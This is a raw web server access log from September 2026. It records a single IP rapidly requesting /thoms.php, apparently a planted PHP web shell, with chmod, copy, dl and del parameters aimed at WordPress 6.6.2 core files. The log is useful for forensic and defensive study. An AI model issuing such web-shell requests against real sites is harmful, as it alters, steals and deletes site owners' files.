45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22187 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?dl=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?dl=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?dl=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21825 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?del=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Foption.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Foption.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?del=ms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22290 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Foption.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fscript-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fscript-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fscript-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?dl=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?dl=locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?dl=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftemplate-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22268 "https://163.245.207.76:443/thoms.php?dl=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22292 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22260 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?chmod=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?chmod=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22235 "https://163.245.207.76:443/thoms.php?chmod=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?del=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22246 "https://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?chmod=block-supports&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=block-supports&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-formats.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22148 "https://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?chmod=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?chmod=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
